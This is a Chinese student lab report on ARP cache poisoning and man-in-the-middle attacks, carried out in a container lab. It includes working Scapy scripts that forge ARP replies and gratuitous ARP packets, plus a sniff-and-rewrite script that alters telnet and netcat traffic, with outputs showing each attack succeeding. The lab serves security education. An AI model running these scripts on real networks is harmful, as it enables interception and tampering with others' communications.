

Task1:

学号: 57118222 姓名: 刘梓康

Task1.A: 在主机 M 上, 构造一个 ARP 请求包并发送到主机 A。检查 A 的 ARP 缓存, 并查看 M 的 MAC 地址是否映射到 B 的 IP 地址。

攻击前, Aarp 缓存中没有 B 的 IP 地址和 MAC 地址的映射, ping B 之后缓存中出现了 B 的 IP 地址与 MAC 地址的映射:

```
root@76801531fe09:/# arp -n
root@76801531fe09:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=1 ttl=64 time=0.245 ms
64 bytes from 10.9.0.6: icmp_seq=2 ttl=64 time=0.071 ms
64 bytes from 10.9.0.6: icmp_seq=3 ttl=64 time=0.065 ms
^C
--- 10.9.0.6 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2033ms
rtt min/avg/max/mdev = 0.065/0.127/0.245/0.083 ms
root@76801531fe09:/# arp -n
```

Address	HWtype	HWaddress	Flags	Mask	Iface
10.9.0.6	ether	02:42:0a:09:00:06	C		eth0

查询 M 的 MAC 地址, 用来和攻击后的 A 的 arp 缓存进行对比:

```
root@8daf6b7297ce:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.9.0.105 netmask 255.255.255.0 broadcast 10.9.0.255
    ether 02:42:0a:09:00:69 txqueuelen 0 (Ethernet)
    RX packets 42 bytes 4732 (4.7 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    loop txqueuelen 1000 (Local Loopback)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

root@8daf6b7297ce:/# cd /volumes
```

查询 A 的 MAC 地址 (实际情况应该使用 wireshark 抓包获取), 编写程序准备进行攻击:

```
root@76801531fe09:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.9.0.5 netmask 255.255.255.0 broadcast 10.9.0.255
    ether 02:42:0a:09:00:05 txqueuelen 0 (Ethernet)
    RX packets 112 bytes 10346 (10.3 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 37 bytes 2618 (2.6 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

```
#!/usr/bin/env python3
from scapy.all import *
E = Ether()
A = ARP()
A.op = 2
A.psrc = '10.9.0.6'
A.pdst = '10.9.0.5'
A.hwdst = '02:42:0a:09:00:05'

pkt = E/A
sendp(pkt, iface='eth0')
```

在 M 上执行攻击程序：

```
root@8daf6b7297ce:/volumes# python3 task1.py
Sent 1 packets.
```

攻击后 A 的 arp 缓存被更改，B 的 IP 地址映射到 M 的 MAC 地址，证明攻击成功：

```
root@76801531fe09:/# arp -n
```

Address	HWtype	HWaddress	Flags	Mask	Iface
10.9.0.6	ether	02:42:0a:09:00:69	C		eth0
10.9.0.105	ether	02:42:0a:09:00:69	C		eth0

Task1.B: 在主机 M 上，构造一个 ARP 应答数据包并发送到主机 A。检查 A 的 ARP 缓存，并查看 M 的 MAC 地址是否映射到 B 的 IP 地址。尝试两种不同方案的攻击：

-方案 1: B 的 IP 已经在 A 的缓存中。

-方案 2: B 的 IP 不在 A 的缓存中。

方案 1:

攻击前 A 中的 arp 缓存如下：

```
root@76801531fe09:/# arp -n
```

Address	HWtype	HWaddress	Flags	Mask	Iface
10.9.0.6	ether	02:42:0a:09:00:06	C		eth0

编写 arp replay 程序：

```
#!/usr/bin/env python3
from scapy.all import *
E = Ether()
A = ARP()
A.op = 2
A.psrc = '10.9.0.6'
A.pdst = '10.9.0.5'
A.hwdst = '02:42:0a:09:00:05'
E.dst = '02:42:0a:09:00:05'

pkt = E/A
sendp(pkt, iface='eth0')
```

进行攻击：

Address	HWtype	HWaddress	Flags	Mask	Iface
10.9.0.6	ether	02:42:0a:09:00:69	C		eth0

可以观察到 A 的 ARP 缓存中 B 的 IP 地址对应的 MAC 地址被修改为 M 的 MAC 地址，攻击成功。

方案 2：

攻击前 A 中的 arp 缓存如下：

```
root@76801531fe09:/# arp -n
root@76801531fe09:/#
```

再次进行攻击：

```
root@76801531fe09:/# arp -n
root@76801531fe09:/#
```

可以观察到 A 的 ARP 缓存并没有变化，没有新增 B 的 IP 地址的对应条目，证明攻击失败。

Task1.C: 在主机 M 上，构造一个 ARP 免费数据包，并使用它将 M 的 MAC 地址

映射到 B 的 IP 地址。请在与 Task1.B 中所述相同的两种情况下启动攻击。

ARP 无偿数据包是一个特殊的 ARP 请求数据包。当主机需要更新所有其他计算机的 ARP 缓存上的过时信息时使用。免费的 ARP 数据包具有以下特征：

- 源和目标 IP 地址相同，它们是发出免费 ARP 的主机的 IP 地址。
- ARP 头和以太网头中的目标 MAC 地址都是广播 MAC 地址（ff: ff: ff: ff: ff: ff）。
- 预计不会有任何回复。

方案 1：

Address	HWtype	HWaddress	Flags	Mask	Iface
10.9.0.6	ether	02:42:0a:09:00:69	C		eth0

编写 arp 无偿数据包:

```
#!/usr/bin/env python3
from scapy.all import *
E = Ether()
A = ARP()
A.op = 2
A.psrc = '10.9.0.6'
A.pdst = '10.9.0.6'
A.hwdst = 'ff:ff:ff:ff:ff:ff'
E.dst = 'ff:ff:ff:ff:ff:ff'

pkt = E/A
sendp(pkt, iface='eth0')
```

进行攻击:

```
root@76801531fe09:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                  ether    02:42:0a:09:00:69    C                     eth0
```

可以观察到, B 的 IP 地址对应的 MAC 地址被修改, 攻击成功。

方案 2:

```
root@76801531fe09:/# arp -n
root@76801531fe09:/#
```

再次进行攻击:

```
root@76801531fe09:/# arp -n
root@76801531fe09:/#
```

可以观察到 A 的 arp 缓存没有被修改, 证明攻击失败。

Task2:

主机 A 和 B 正在使用 Telnet 进行通信, 而主机 M 希望拦截它们的通信, 因此它可以更改在 A 和 B 之间发送的数据。该设置情况见图 2 所示。我们已经在容器中创建了一个名为“seed”的帐户, 密码是“dees”。你可以进入这个账户。

Step 1 (Launch the ARP cache poisoning attack):

分别对 A, B 进行 ARP 缓存中毒攻击:

对 A:

```
root@76801531fe09:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                  ether    02:42:0a:09:00:69    C                     eth0
```

对 B:


```

root@24179e3dc90c:/# arp -n
Address          HWtype  HWaddress           Flags Mask          Iface
10.9.0.5          ether    02:42:0a:09:00:69    C                   eth0

```

Step 2 (Testing):

攻击成功后，请尝试在主机 A 和 B 之间相互攻击，并报告您的观察结果。请在您的报告中显示有线鲨的结果。在执行此步骤之前，请确保主机 M 上的 IP 转发已关闭。

```

root@8daf6b7297ce:/volumes# sysctl net.ipv4.ip_forward=0
net.ipv4.ip_forward = 0

```

```

root@76801531fe09:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.

```

```

root@24179e3dc90c:/# ping 10.9.0.5
PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.

```

```

 647 2021-07-16 16:5... 10.9.0.5      10.9.0.6      ICMP    100 Echo (ping) request id=0x005f, seq=1/256, ttl=64 (no respons...
 648 2021-07-16 16:5... 10.9.0.5      10.9.0.6      ICMP    100 Echo (ping) request id=0x005f, seq=1/256, ttl=64 (no respons...
 775 2021-07-16 16:5... 10.9.0.5      10.9.0.6      ICMP    100 Echo (ping) request id=0x005f, seq=2/512, ttl=64 (no respons...
 776 2021-07-16 16:5... 10.9.0.5      10.9.0.6      ICMP    100 Echo (ping) request id=0x005f, seq=2/512, ttl=64 (no respons...
 897 2021-07-16 16:5... 10.9.0.5      10.9.0.6      ICMP    100 Echo (ping) request id=0x005f, seq=3/768, ttl=64 (no respons...
 898 2021-07-16 16:5... 10.9.0.5      10.9.0.6      ICMP    100 Echo (ping) request id=0x005f, seq=3/768, ttl=64 (no respons...
 929 2021-07-16 16:5... 10.9.0.6      10.9.0.5      ICMP    100 Echo (ping) request id=0x0028, seq=1/256, ttl=64 (no respons...
 930 2021-07-16 16:5... 10.9.0.6      10.9.0.5      ICMP    100 Echo (ping) request id=0x0028, seq=1/256, ttl=64 (no respons...
1025 2021-07-16 16:5... 10.9.0.6      10.9.0.5      ICMP    100 Echo (ping) request id=0x005f, seq=4/1024, ttl=64 (no respons...
1026 2021-07-16 16:5... 10.9.0.5      10.9.0.6      ICMP    100 Echo (ping) request id=0x005f, seq=4/1024, ttl=64 (no respons...
1061 2021-07-16 16:5... 10.9.0.6      10.9.0.5      ICMP    100 Echo (ping) request id=0x0028, seq=2/512, ttl=64 (no respons...
1062 2021-07-16 16:5... 10.9.0.6      10.9.0.5      ICMP    100 Echo (ping) request id=0x0028, seq=2/512, ttl=64 (no respons...
1159 2021-07-16 16:5... 10.9.0.6      10.9.0.5      ICMP    100 Echo (ping) request id=0x005f, seq=5/1280, ttl=64 (no respons...
1160 2021-07-16 16:5... 10.9.0.6      10.9.0.5      ICMP    100 Echo (ping) request id=0x005f, seq=5/1280, ttl=64 (no respons...

```

关闭 IP 转发功能可以发现，A、B 两者互 ping 不能成功。

Step 3 (Turn on IP forwarding):

现在我们在主机 M 上打开 IP 转发，所以它将在 A 和 B 之间转发数据包。

```

root@60ca66061658:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=1 ttl=63 time=0.104 ms
From 10.9.0.105: icmp_seq=2 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=2 ttl=63 time=0.131 ms
From 10.9.0.105: icmp_seq=3 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=3 ttl=63 time=0.119 ms
From 10.9.0.105: icmp_seq=4 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=4 ttl=63 time=0.129 ms
From 10.9.0.105: icmp_seq=5 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=5 ttl=63 time=0.106 ms
From 10.9.0.105: icmp_seq=6 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=6 ttl=63 time=0.195 ms
64 bytes from 10.9.0.6: icmp_seq=7 ttl=63 time=0.092 ms
From 10.9.0.105: icmp_seq=8 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=8 ttl=63 time=0.097 ms
64 bytes from 10.9.0.6: icmp_seq=9 ttl=63 time=0.092 ms
64 bytes from 10.9.0.6: icmp_seq=10 ttl=63 time=0.086 ms
From 10.9.0.105: icmp_seq=11 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=11 ttl=63 time=0.111 ms

```

```

root@fb1d689a3fe1:/# ping 10.9.0.5
PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.
64 bytes from 10.9.0.5: icmp_seq=1 ttl=63 time=0.086 ms
64 bytes from 10.9.0.5: icmp_seq=2 ttl=63 time=0.096 ms
64 bytes from 10.9.0.5: icmp_seq=3 ttl=63 time=0.087 ms
64 bytes from 10.9.0.5: icmp_seq=4 ttl=63 time=0.097 ms
64 bytes from 10.9.0.5: icmp_seq=5 ttl=63 time=0.078 ms
64 bytes from 10.9.0.5: icmp_seq=6 ttl=63 time=0.090 ms
64 bytes from 10.9.0.5: icmp_seq=7 ttl=63 time=0.097 ms
64 bytes from 10.9.0.5: icmp_seq=8 ttl=63 time=0.100 ms
64 bytes from 10.9.0.5: icmp_seq=9 ttl=63 time=0.093 ms
64 bytes from 10.9.0.5: icmp_seq=10 ttl=63 time=0.108 ms
64 bytes from 10.9.0.5: icmp_seq=11 ttl=63 time=0.083 ms
64 bytes from 10.9.0.5: icmp_seq=12 ttl=63 time=0.088 ms
From 10.9.0.105: icmp_seq=13 Redirect Host(New nexthop: 10.9.0.5)
64 bytes from 10.9.0.5: icmp_seq=13 ttl=63 time=0.102 ms
64 bytes from 10.9.0.5: icmp_seq=14 ttl=63 time=0.103 ms
64 bytes from 10.9.0.5: icmp_seq=15 ttl=63 time=0.079 ms
^C

```

No.	Time	Source	Destination	Protocol	Length	Info
530	2021-07-16 17:0	10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) request id=0x001f, seq=1/256, ttl=64 (no respons...
531	2021-07-16 17:0	10.9.0.6	10.9.0.6	ICMP	100	Echo (ping) request id=0x001f, seq=1/256, ttl=64 (no respons...
532	2021-07-16 17:0	10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) request id=0x001f, seq=1/256, ttl=63 (no respons...
533	2021-07-16 17:0	10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) request id=0x001f, seq=1/256, ttl=63 (reply in 5...
534	2021-07-16 17:0	10.9.0.6	10.9.0.5	ICMP	100	Echo (ping) reply id=0x001f, seq=1/256, ttl=64 (request in...
535	2021-07-16 17:0	10.9.0.6	10.9.0.5	ICMP	100	Echo (ping) reply id=0x001f, seq=1/256, ttl=64
536	2021-07-16 17:0	10.9.0.105	10.9.0.6	ICMP	128	Redirect (Redirect for host)
537	2021-07-16 17:0	10.9.0.105	10.9.0.6	ICMP	128	Redirect (Redirect for host)
538	2021-07-16 17:0	10.9.0.6	10.9.0.5	ICMP	100	Echo (ping) reply id=0x001f, seq=1/256, ttl=63
539	2021-07-16 17:0	10.9.0.6	10.9.0.5	ICMP	100	Echo (ping) reply id=0x001f, seq=1/256, ttl=63
677	2021-07-16 17:0	10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) request id=0x001f, seq=2/512, ttl=64 (no respons...
678	2021-07-16 17:0	10.9.0.5	10.9.0.6	ICMP	100	Echo (ping) request id=0x001f, seq=2/512, ttl=64 (no respons...
679	2021-07-16 17:0	10.9.0.105	10.9.0.5	ICMP	128	Redirect (Redirect for host)
680	2021-07-16 17:0	10.9.0.105	10.9.0.5	ICMP	128	Redirect (Redirect for host)

再次打开 ip 转发功能，A、B 互相 ping 成功。

Step 4 (Launch the MITM attack):

我们准备更改 A 和 A 之间的 Telnet 数据 B。假设 A 是 Telnet 客户端，B 是 Telnet 服务器。在 A 连接到 B 上的 Telnet 服务器后，对于在 A 的 Telnet 窗口中键入的每个键划，将生成一个 TCP 包并将其发送到 B。我们希望拦截 TCP 数据包，并将每个类型的字符替换为固定字符(如 Z)。这样，无论 A 上的用户类型如何，Telnet 都将始终显示 Z。

首先打开 ip 转发功能：

```

root@35cee5638cfc:/# sysctl net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1

```

成功建立 telnet 链接：

```

seed@60ca66061658:~$ ls
seed@60ca66061658:~$

```

关闭 ip 转发功能：

```

root@35cee5638cfc:/volumes# sysctl net.ipv4.ip_forward=0
net.ipv4.ip_forward = 0

```

可以观察到 telnet 登录端不能键入任何字符：

```

seed@fb1d689a3fe1:~$

```

使用攻击程序进行攻击：

```

#!/usr/bin/env python3
from scapy.all import *
IP_A = "10.9.0.5"
MAC_A = "02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"
def spoof_pkt(pkt):
    if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
        # Create a new packet based on the captured one.
        # 1) We need to delete the checksum in the IP & TCP headers,
        # because our modification will make them invalid.
        # Scapy will recalculate them if these fields are missing.
        # 2) We also delete the original TCP payload.
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)
        #####
        # Construct the new payload based on the old payload.
        # Students need to implement this part.
        if pkt[TCP].payload:
            data = pkt[TCP].payload.load # The original payload data
            newdata = 'z'# No change is made in this sample code
            send(newpkt/newdata)
        else:
            send(newpkt)
        #####
    elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
        # Create new packet based on the captured one
        # Do not make any change
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        send(newpkt)
f = 'tcp and ether src 02:42:0a:09:00:05'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)

```

开始攻击后发现 telnet 登录端又可以键入字符，但是都被替换为 z，证明攻击成功：


```

root@60ca66061658:/# telnet 10.9.0.6
Trying 10.9.0.6...
Connected to 10.9.0.6.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
fbld689a3fel login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Fri Jul 16 21:38:21 UTC 2021 from A-10.9.0.5.net-10.9.0.0 on pts/4
seed@fbld689a3fel:~$ zzz

```

```

root@35cee5638cfc:/volumes# python3 MITM.py
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.

```

Task3:

此任务与任务 2 类似，除了主机 A 和 B 使用 netcat 而不是 telnet 进行通信之外。主机 M 希望拦截他们的通信，以便它可以更改在 A 和 B 之间发送的数据。

连接完成后，您可以在 A 上键入消息。每一行消息将被放到发送到 B 的 TCP 包中，只显示消息。您的任务是将消息中每次出现的名字都替换为 A 序列。序列的长度应该与您的名字相同，否则您会打乱 TCP 序列号，从而破坏整个 TCP 连接。你需要使用你的真实名字，所以我们知道工作是由你完成的。

对部分攻击程序进行如下修改，使其可以对对应字符进行替换：

```

if pkt[TCP].payload:
    data = pkt[TCP].payload.load # The original payload data
    newdata = data.replace(b'Liu',b'AAA')# No change is made in this sam
ple code

```

在 A（telnet 登录端）键入“Liu”“liu”进行发送：

```

root@60ca66061658:/# nc 10.9.0.6 9090
Liu
liu

```


在 B 端可以发现 “Liu” 被替换为 “AAA”，而 “liu” 未被替换，证明攻击成功：

```
root@fb1d689a3fe1:/# nc -lp 9090
```

```
AAA
```

```
liu
```

发送了两次消息，因此攻击者端程序发送了两次报文：

```
root@35cee5638cfc:/volumes# python3 MITM.py
```

```
.  
Sent 1 packets.
```

```
.  
Sent 1 packets.
```